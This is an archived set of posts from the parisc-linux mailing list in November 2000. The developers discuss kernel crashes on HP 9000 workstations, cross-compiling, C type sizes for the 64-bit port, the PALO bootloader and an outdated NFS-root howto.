Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 20:33:48 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141aOm-0007lW-00; Thu, 30 Nov 2000 20:33:44 +0000
In-Reply-To: <200011301756.JAA29386@milano.cup.hp.com> from "Grant Grundler" at Nov 30, 2000 09:56:46 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8697

> > (XFree 4.0 has a X86 emulator for booting the BIOS firmware on PCI cards)
> 
> And is this emulator running under parisc-linux now? (!)

It builds, it seems to run its tests (ignoring the fact I have in/out ops
nulled out). It is already used on other platforms. It might be interesting
to use it in the PA bootloader too 8)

Alan


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 21:22:53 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <00113021225305.00309@P100>
References: <FKEGLIIBOIACJOCCAFIMIEFGCCAA.smoret@uci.edu> <00113019374604.00309@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619370 7337 80.91.229.3 (22 Nov 2014 01:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Steve Moret" <smoret@uci.edu>
Original-X-From: deller@gmx.de  Thu Nov 30 14:01:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29317
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 14:01:24 -0700
Original-Received: (qmail 11028 invoked by uid 15267); 30 Nov 2000 21:03:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2154 invoked from network); 30 Nov 2000 20:23:23 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 20:23:23 -0000
Original-Received: (qmail 1983 invoked by uid 0); 30 Nov 2000 20:22:56 -0000
Original-Received: from pd9040367.dip.t-dialin.net (HELO P100) (217.4.3.103)
  by mail.gmx.net (mail01) with SMTP; 30 Nov 2000 20:22:56 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <00113019374604.00309@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:8698

On Thursday 30 November 2000 19:37, Helge Deller wrote:
> On Thursday 30 November 2000 18:50, Steve Moret wrote:
> > With the BiDirectional stuff back in it dies here:
> >
> > Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
> > POSIX conformance testing by UNIFIX
> > ASP version 20 at 0xf0800000 found.
> > LED (ASP-style) display at f0800020
> > parport_gsc.c: initialize bidirectional-mode
>
> [oops msg deleted]
>
> Yup, that was what I thought !
> I will try to come up with a clean fix in the next few hours...

I've just committed a fix which should work on both (ASP & LASI)...
Would you mind to test this stuff again ?

Thanks,

	Helge.


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is there any sqlnet for Linux on HP
Date: Thu, 30 Nov 2000 12:53:21 -0800
Lines: 8
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001130125058.00b02970@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619370 7340 80.91.229.3 (22 Nov 2014 01:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:50 +0000 (UTC)
Cc: bame@noam.fc.hp.com, grundler@cup.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: kailasr@webcash.com  Thu Nov 30 14:06:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29506
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 14:06:22 -0700
Original-Received: (qmail 23114 invoked by uid 15267); 30 Nov 2000 21:08:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27340 invoked from network); 30 Nov 2000 20:56:11 -0000
Original-Received: from mail.imedia.net (HELO ns2.imedia.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 20:56:11 -0000
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.10.2) with ESMTP id eAUKu3c20852;
	Thu, 30 Nov 2000 12:56:03 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Xref: news.gmane.org gmane.linux.ports.parisc:8699

Hi,

I need to connect to database from the HP linux box to oracle. Is there any 
sqlnet client that can be installed on the server.

Regards
Kailas


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 13:04:38 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200011302104.NAA29773@milano.cup.hp.com>
References: <Pine.LNX.3.96.1001130170122.23583A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619370 7343 80.91.229.3 (22 Nov 2014 01:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 14:15:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA30871
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 14:15:01 -0700
Original-Received: (qmail 9056 invoked by uid 15267); 30 Nov 2000 21:17:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1166 invoked from network); 30 Nov 2000 21:13:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 21:13:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 2F8191620; Thu, 30 Nov 2000 13:04:58 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA29773;
	Thu, 30 Nov 2000 13:04:39 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 17:11:32 PST."
             <Pine.LNX.3.96.1001130170122.23583A-100000@latt.if.usp.br> 
Xref: news.gmane.org gmane.linux.ports.parisc:8700

"Jorge L. deLyra" wrote:
> > oops, 
> > I just saw, that you currently _can_not_ cross-compile..... :-(
> 
> Yes, we are working towards this, but I read in the docs that for the time
> being you can only cros-compile the kernel on HP-UX,

That's definitely wrong. Where did you read this?
(I would like fix the reference)

Those of us still cross compiling are using x86-linux hosts.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there any sqlnet for Linux on HP
Date: Thu, 30 Nov 2000 16:26:42 -0500
Organization: The Puffins at Linuxcare
Lines: 20
Approved: news@gmane.org
Message-ID: <3A26C612.2A44AE6@linuxcare.com>
References: <5.0.0.25.0.20001130125058.00b02970@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619371 7348 80.91.229.3 (22 Nov 2014 01:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, bame@noam.fc.hp.com, grundler@cup.hp.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: adevries@linuxcare.com  Thu Nov 30 14:22:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA31433
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 14:22:31 -0700
Original-Received: (qmail 23288 invoked by uid 15267); 30 Nov 2000 21:25:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23258 invoked from network); 30 Nov 2000 21:24:59 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 21:24:59 -0000
Original-Received: (qmail 27706 invoked from network); 30 Nov 2000 21:24:56 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 30 Nov 2000 21:24:56 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8701

Kailashnath V Rampure wrote:
> I need to connect to database from the HP linux box to oracle. Is there any
> sqlnet client that can be installed on the server.

I'm assuming you mean HP PA-RISC Linux, not HP IA32/64 Linux.

No.  The only applications right now for parisc-linux are open source
ones, and we haven't touched any SQL client libraries.

Conceivably the DBI stuff should work, but I don't think anyone's really
tried.

- alex

- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 21:22:37 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20001130212237.T22285@linuxcare.com>
References: <200011292319.PAA28547@milano.cup.hp.com> <Pine.LNX.3.96.1001130085232.14082B-100000@latt.if.usp.br> <20001130111930.E22285@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619371 7352 80.91.229.3 (22 Nov 2014 01:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:51 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com,
        assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 14:24:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA31740
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 14:24:16 -0700
Original-Received: (qmail 26199 invoked by uid 15267); 30 Nov 2000 21:26:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26156 invoked from network); 30 Nov 2000 21:26:42 -0000
Original-Received: from unknown (HELO rhirst.linuxcare.com) (212.187.167.240)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 21:26:42 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 843B6B007; Thu, 30 Nov 2000 21:22:37 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001130111930.E22285@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 30, 2000 at 11:19:30AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8702

On Thu, Nov 30, 2000 at 11:19:30AM +0000, Richard Hirst wrote:
> On Thu, Nov 30, 2000 at 08:58:22AM -0200, Jorge L. deLyra wrote:
> > OK, here goes. I want to congratulate you all on this effort. We have five
> > of these HP-9000 stations here, quite old by now. They used to be our main
> > number crunching force. They are wonderfully built hardware in bad need of
> > a wonderful system on them!  |:-)
> 
> > Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
> > 
> > Dumping Stack from c4f9c000 to c4f9cbc0:
> 
> This has been reported on 715/50 (Robert Duncan) and 715/75 (me) round
> about November 15th.  At the time I tried a current cvs kernel on my
> 715/75 and it was even worse (IIRC).  I'll have another look at it.

I don't get that problem (crash after "Serial driver version...")
with the latest cvs kernel source.

Richard


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] time_t, size_t, off_t, ...
Date: Thu, 30 Nov 2000 15:28:32 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <E141cBs-0007Gb-00@noam.fc.hp.com>
References: <E141aec-0007nC-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619371 7358 80.91.229.3 (22 Nov 2014 01:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:51 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: bame@noam.fc.hp.com  Thu Nov 30 15:26:10 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA00619
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 15:26:04 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA28812;
	Thu, 30 Nov 2000 15:28:32 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 141cBs-0007Gb-00; Thu, 30 Nov 2000 15:28:32 -0700
In-Reply-To: Your message of "Thu, 30 Nov 2000 20:50:04 GMT."
             <E141aec-0007nC-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8703

= time_t itself is normally a long because historically (pre ANSI/POSIX) back
= when men where men and adb was the coolest debugger on the planet it was
= the case that time() foo was a function using longs
= 
= [Random historical aside - very early C didnt support passing long as an 
= argument hence time(&foo) not foo=time()]

I cut my Unix teeth on pdp11/v6-7 -- counts as very early I think :-)

= I know of no kernel reason. If you are using a 1KHz system clock then it
= may be handy to up the loop time for the counter to above 50 days by using
= long.

I'm setting clock_t to 64 bits on wide kernel FYI, but will keep time_t
and suseconds_t at 32 bits until there's a problem.  Won't effect
32-bit userspace if it has to change.

= > (4)	I thought I could get away with making sigset_t.sig int[] therefore
= > 	32 bits everywhere.  It would save several 32/64 syscall
= > 	wrappers (and increase speed).  However this little piece
= > 	in kernel/signal.c is a hard-coded assumption that .sig[] is
= > 	an array of long, and was a bitch to find:
= > 
= > 		unsigned long i, *s, *m, x;
= > 		s = tsk->pending.signal.sig;
= 
= Eep. Its not unreasonable to suggest to Linus that gets fixed 8)

Yeah, too bad I'm too much of a wimp to sign up for l-k -- already get
more e-mail than I read :-(  

= On the 64bit port _please_ use a 64bit ino_t. It'll possibly tickle the odd
= other problem but post 2.4 the main kernel has to move to 64bit ino_t to make
= NFSv3 and XFS sanely work. That may well let you relax and look smug as the
= rest of the world suffers 8)

Ok, I'll use 64-bit ino_t on parisc64.

	-P


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 20:32:29 -0200 (BRST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130202814.25437A-100000@latt.if.usp.br>
References: <200011302104.NAA29773@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619371 7360 80.91.229.3 (22 Nov 2014 01:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, assirati@socrates.if.usp.br
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 15:30:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01263
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 15:30:14 -0700
Original-Received: (qmail 25829 invoked by uid 15267); 30 Nov 2000 22:32:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25791 invoked from network); 30 Nov 2000 22:32:41 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 22:32:41 -0000
Original-Received: (qmail 25473 invoked by uid 1003); 30 Nov 2000 22:32:29 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 22:32:29 -0000
In-Reply-To: <200011302104.NAA29773@milano.cup.hp.com>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id PAA01263
Xref: news.gmane.org gmane.linux.ports.parisc:8704

> > Yes, we are working towards this, but I read in the docs that for the time
> > being you can only cros-compile the kernel on HP-UX,
> 
> That's definitely wrong. Where did you read this?
> (I would like fix the reference)

It is on the nfsroot howto linked from the home page of the project:

http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html

<quote>
STEP 1. KERNEL BUILDING

Get the latest linux-2.3 tree from CVS.

a) If you use the standard boot loader

Edit DEFAULT_COMMANDLINE in linux-2.3rch/parisc/boot/boot_code/ipl_c.c
to read:

        "vmlinux HOME=/TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"

b) If you use PALO

Edit the echo line in palo/mklifimage to read

        "vmlinux HOME=/TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"

In both cases replace 10.0.0.1 with the IP address of your NFS server.

Copy the .config included below to the root of the linux source tree.

make oldconfig
make dep
make clean
make Image (Or make palo, if you use Paul's loader)
Due to linker issues cross compiling is still not possible. I.e. you
have to build on HP/UX. 
</quote>

I suppose this is old...

> Those of us still cross compiling are using x86-linux hosts.

Wonderful, that makes it a lot easier...		Thanks,

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linker errors
Date: Tue, 4 May 1999 21:26:37 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990504211950.214A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619372 7362 80.91.229.3 (22 Nov 2014 01:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:52 +0000 (UTC)
Cc: kumar@ix.netcom.com
To: parisc-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Wed Apr 28 21:41:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA15157
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Apr 1999 21:41:55 -0600
Original-Received: (qmail 29923 invoked by uid 15267); 5 May 1999 05:23:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29916 invoked from network); 5 May 1999 05:23:30 -0000
Original-Received: from dfw-ix10.ix.netcom.com (206.214.98.10)
  by mailserv2.iuinc.com with SMTP; 5 May 1999 05:23:30 -0000
Original-Received: (from smap@localhost)
          by dfw-ix10.ix.netcom.com (8.8.4/8.8.4)
	  id AAA15866; Wed, 5 May 1999 00:25:29 -0500 (CDT)
Original-Received: from unknown(207.92.173.66) by dfw-ix10.ix.netcom.com via smap (V1.3)
	id rma015821; Wed May  5 00:24:53 1999
Xref: news.gmane.org gmane.linux.ports.parisc:8705


I am getting following errors even from the latest binutils and
parisc-linux-gcc. Are there any special LDFLAGS that one needs to use ?

						-pkd

I have been able to hack it to get in virtual mode. Just thought
of compiling with latest cross compiling tools ..rather than that
strange combination of gcc on HP-UX and HP's linker..


parisc-linux-ld -L. -R 0x100000 -N -S rom_interface.o setup.o utils.o
strutils.o bcopy.o main.o io.o -l milli -o vmlinux
parisc-linux-ld: can not size stub section: Bad value
rom_interface.o: In function `cout_putc':
rom_interface.o($CODE$+0xe4): undefined reference to `$$dyncall'
rom_interface.o: In function `bootdev_sread':
rom_interface.o($CODE$+0xe0): undefined reference to `$$dyncall'
rom_interface.o: In function `pdc_call':
rom_interface.o($CODE$+0x118): undefined reference to `$$dyncall'
main.o: In function `parisc_init':
main.o($CODE$+0x208): undefined reference to `$$divU'
make: *** [vmlinux] Error 1




From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 14:45:27 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <200011302245.OAA29965@milano.cup.hp.com>
References: <Pine.LNX.3.96.1001130202814.25437A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619372 7366 80.91.229.3 (22 Nov 2014 01:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 15:42:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01780
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 15:42:41 -0700
Original-Received: (qmail 10501 invoked by uid 15267); 30 Nov 2000 22:45:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10483 invoked from network); 30 Nov 2000 22:45:09 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 22:45:09 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 0D93A17C; Thu, 30 Nov 2000 14:45:03 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA29965;
	Thu, 30 Nov 2000 14:45:29 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 20:32:29 PST."
             <Pine.LNX.3.96.1001130202814.25437A-100000@latt.if.usp.br> 
Xref: news.gmane.org gmane.linux.ports.parisc:8706

"Jorge L. deLyra" wrote:

> It is on the nfsroot howto linked from the home page of the project:
> 
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html

Ok. I'm not going to touch the archives.
I can update the link if someone provides the content.
Any volunteers to rewrite the NFS root howto and bring it up to date?

> I suppose this is old...

Exactly.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 15:57:14 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <E141cde-0008Fu-00@noam.fc.hp.com>
References: <Pine.LNX.3.96.1001130202814.25437A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619372 7371 80.91.229.3 (22 Nov 2014 01:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:52 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com,
        assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: bame@noam.fc.hp.com  Thu Nov 30 15:54:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA02546
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 15:54:48 -0700
Original-Received: (qmail 26673 invoked by uid 15267); 30 Nov 2000 22:57:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26662 invoked from network); 30 Nov 2000 22:57:16 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 22:57:16 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 9CF46681; Thu, 30 Nov 2000 17:57:15 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA01881;
	Thu, 30 Nov 2000 15:57:14 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 141cde-0008Fu-00; Thu, 30 Nov 2000 15:57:14 -0700
In-Reply-To: Your message of "Thu, 30 Nov 2000 20:32:29 -0200."
             <Pine.LNX.3.96.1001130202814.25437A-100000@latt.if.usp.br> 
Xref: news.gmane.org gmane.linux.ports.parisc:8707

= a) If you use the standard boot loader
= 
= Edit DEFAULT_COMMANDLINE in linux-2.3rch/parisc/boot/boot_code/ipl_c.c
= to read:
= 
=         "vmlinux HOME=/TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"

The boot_code directory should be gone -- that stuff is obsolete.

= b) If you use PALO

PALO is the only current bootloader 

= Edit the echo line in palo/mklifimage to read
= 
=         "vmlinux HOME=/TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"
= 
= In both cases replace 10.0.0.1 with the IP address of your NFS server.
= 
= Copy the .config included below to the root of the linux source tree.

make oldconfig or make config, without a .config to start with, works
fine just as it does with x86

= make oldconfig
= make dep
= make clean
= make Image (Or make palo, if you use Paul's loader)
Must be 'make palo'
= Due to linker issues cross compiling is still not possible. I.e. you
= have to build on HP/UX. 
= </quote>
= 
= I suppose this is old...
= 
